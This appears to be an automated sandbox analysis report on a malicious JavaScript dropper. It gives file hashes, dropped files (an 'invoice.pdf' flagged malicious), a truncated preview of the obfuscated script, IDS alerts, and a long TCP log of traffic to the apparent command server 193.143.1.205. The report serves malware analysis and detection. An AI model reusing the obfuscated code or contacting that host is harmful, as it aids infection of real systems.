SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16521), with CRLF line terminators
Entropy (8bit):	4.911493169666371
TrID:
File name:	301901880157741390.js
File size:	20'043 bytes
MD5:	bdc1fe08ddbb65865c660868535c8fa2
SHA1:	65f86c9849dfe40b4cd558d2fa4d2fc2ec5015f6
SHA256:	170bc3983d840dea54b2145edac5f45eea7604337b2b6d3c0d0e8ed42f26bd38
SHA512:	fbc14e37655b8481e18e3789e27ddbf0fe3cf03f61587612b237f7572a549eef0e11157f7e7860290bddb430fa2872ecd663f77c52cfc0f0e1fddc956c286253
SSDEEP:	384:+hyhwwc9KlTcuVFLp5KfK8cjpob36M+TEOKey:xhwwc9Klos1p5KfK8fb36MpFey
TLSH:	3792218CD405DFEB0FE881E5378B0CC310CC26EC7AE523DA5A76E1585A0769497E66F4
File Content Preview:	function kisxwcxa(){firya=[1031,3079,5127,4103,2055,3072];var ywmte=this[olcmgtcgn+yklqzabq+jeyvfb+tybmjm+xnpbeul+oauby+gtdtuugcl+uxfuivg](this[ruvgg+egqdxcjmr+jgtqccsrb+jeyvfb+vxjuq+olcmgtcgn+uxfuivg][peavpiro+jeyvfb+xnpbeul+yklqzabq+uxfuivg+xnpbeul+wdgv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:04:38.349523+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T19:04:40.515670+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:04:37.538705111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:37.543863058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:37.543977022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:37.547208071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:37.552072048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349391937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349416018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349427938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349441051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349456072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349467993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349482059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349514961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349523067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.349529028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349540949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.349703074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.403898954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.403937101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.403947115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.404100895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.470017910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.470036983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.470055103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.470061064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.470145941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.470185041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.474694967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.474709034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.474755049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.474843025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.474853992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.474905968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.479453087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.479468107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.479477882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.479501009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.479526997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.479541063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.479551077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.479582071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.479602098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.484324932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.484357119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.484366894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.484379053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.484390020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.484442949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.489027023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.489039898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.489098072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.494479895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.494549990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.524337053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.524405956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.524420023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.524431944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.524471045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.524493933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.560581923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.560597897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.560666084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.590796947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.590816021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.590827942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.590840101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.590909958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.590955973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.590969086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.590995073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591006994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591027021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.591094017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591108084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591130018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.591949940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591969013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591980934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.591991901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.592000961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592014074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592020988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.592057943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.592680931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592693090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592705011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592729092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.592767954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592792034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.592801094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.593590021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.593602896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.593614101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.593637943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.593652010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.593657017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.593669891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.593712091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.594476938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.594537973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.594549894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.594573975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.594609976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.594628096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.594654083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.595403910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.595427990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.595441103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.595446110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.595477104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.595479012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.595489979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.595529079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.596291065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.596312046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.596350908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.614913940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.614933014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.614944935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.615008116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.644045115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.644059896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.644076109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.644089937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.644103050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.644156933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.644203901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.651284933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.651340008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.651354074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.651384115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.651397943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.651411057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.651431084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.681307077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.681322098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.681438923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713032961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713047981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713057995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713129044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713172913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713186979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713198900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713211060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713213921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713228941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713247061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713258982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713278055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713466883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713500023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713505030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713519096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713556051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713557959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713570118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713603973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713650942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713663101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713674068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713707924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.713741064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.713773966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.714385033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714406967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714417934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714459896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.714526892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714543104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714554071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714560032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.714565992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714592934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.714653015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714663982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.714703083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.715287924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715307951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715326071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715328932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.715358019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.715440989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715451956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715464115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715476036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715497971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.715524912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.715555906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715567112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.715610981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.716187954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716252089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716264009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716290951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.716341019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716351986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716365099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716377020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716377020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.716397047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.716466904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716479063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.716500998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.717152119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717161894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717175007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717197895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717200994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.717216969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.717312098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717324018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717334986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717349052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.717356920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717375994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.717395067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.717427969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.718067884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.718080044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.718091011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.718122959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.718127012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.718139887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.718152046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.718169928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.718199968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.725122929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.734558105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734570980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734581947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734596014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734606028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.734628916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734641075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734647036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.734669924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.734731913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734741926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.734785080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.741581917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741607904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741619110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741642952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.741777897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741790056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741801977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741812944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741811991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.741825104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.741842031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.741878033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.772773027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.772799969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.772811890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.772835016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.772861958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.772875071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.772891998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802207947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802238941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802251101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802288055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802284956 CET	49704	80	192.168.2.5	193.143.1.205
